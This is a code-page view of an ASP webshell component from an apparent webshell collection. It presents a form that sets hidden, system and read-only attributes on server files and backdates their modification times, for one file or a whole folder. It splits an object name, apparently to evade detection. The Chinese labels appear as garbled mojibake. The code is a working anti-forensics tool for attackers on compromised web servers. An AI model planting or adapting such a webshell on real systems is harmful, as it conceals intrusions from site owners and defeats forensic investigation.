webshell/net-friend/asp/修改属性.asp

64 lines
2 KiB
Text
Raw Normal View History

2013-06-20 01:50:18 +00:00
<%
dim path,FileName,NewTime,ShuXing
set path=request.Form("path")
set filename=request.Form("filename")
set newTime=request.Form("newTime")
set ShuXing=request.Form("shuxing")
%>
<font color=red>
<form method=post>
·<EFBFBD><EFBFBD><EFBFBD><EFBFBD><input name='path' value='<%=server.MAppATH("/")%>\' size='40'> <20>ǵ<EFBFBD>һ<EFBFBD><D2BB>Ҫ<EFBFBD><D2AA>\<5C><>β<br>
<EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><input name=filename value='<%=filename%>' size='20'> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><br>
ʱ<EFBFBD>䣺<input name=newTime value='<%=newTime%>' size='20'><3E><><EFBFBD><EFBFBD>12/21/2012 23:59:59 <20><><EFBFBD>޸ĵĻ<C4B5>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><br>
<EFBFBD><EFBFBD><EFBFBD>ԣ<EFBFBD><select onChange='this.form.shuxing.value=this.value;'>
<option value=''><3E><>ͨ </option>
<option value='1'>ֻ<><D6BB></option>
<option value='2'><3E><><EFBFBD><EFBFBD></option>
<option value='4'>ϵͳ</option>
<option value='34'><3E><><EFBFBD><EFBFBD>|<7C>浵</option>
<option value='33'>ֻ<><D6BB>|<7C>浵</option>
<option value='35'>ֻ<><D6BB>|<7C><><EFBFBD><EFBFBD>|<7C>浵</option>
<option value='39'>ֻ<><D6BB>|<7C><><EFBFBD><EFBFBD>|<7C>浵|ϵͳ</option>
<input style="display:none" name=shuxing value='0' size='1'>
<input type=submit value=<3D><>ʼ> by <20>ó<EFBFBD>
</form>
<%
if path<>"" then
Set fso=Server.CreateObject("Scri"&"pting.FileSyste"&"mObject")
Set shell=Server.CreateObject("Shell.Application")
'===============<3D><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>===============
if filename="" then '<27>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>޸<EFBFBD>ȫ<EFBFBD><C8AB> <20><><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD>
Set objFolder=FSO.GetFolder(Path)
For Each objFile In objFolder.Files
fso.GetFile(objFile.Name).attributes=ShuXing
Next
Response.WRItE"<22>޸<EFBFBD> "&path&" <20>µ<EFBFBD><C2B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Գɹ<D4B3>"
else
Set file=fso.getFile(path&fileName)
file.attributes=ShuXing
Response.WRItE"<22>޸<EFBFBD><DEB8>ļ<EFBFBD> "&path&fileName&" <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "
end if
'===============<3D><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>===============
if newTime<>"" then '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݾ<EFBFBD><DDBE>޸<EFBFBD>ʱ<EFBFBD><CAB1>
Set app_path=shell.NameSpace(server.mappath("."))
if filename="" then '<27>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>޸<EFBFBD>ȫ<EFBFBD><C8AB> <20><><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD>
Set objFolder=FSO.GetFolder(Path)
For Each objFile In objFolder.Files
Set app_file=app_path.ParseName(objFile.Name)
app_file.Modifydate=newTime
Next
Response.WRItE"<br><3E>޸<EFBFBD> "&path&" <20>µ<EFBFBD><C2B5>ļ<EFBFBD><C4BC><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ɹ<EFBFBD>"
else
Set app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
Response.WRItE"<br><3E>޸<EFBFBD><DEB8>ļ<EFBFBD> "&path&fileName&" ʱ<><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "
end if
end if
end if
%>
</font>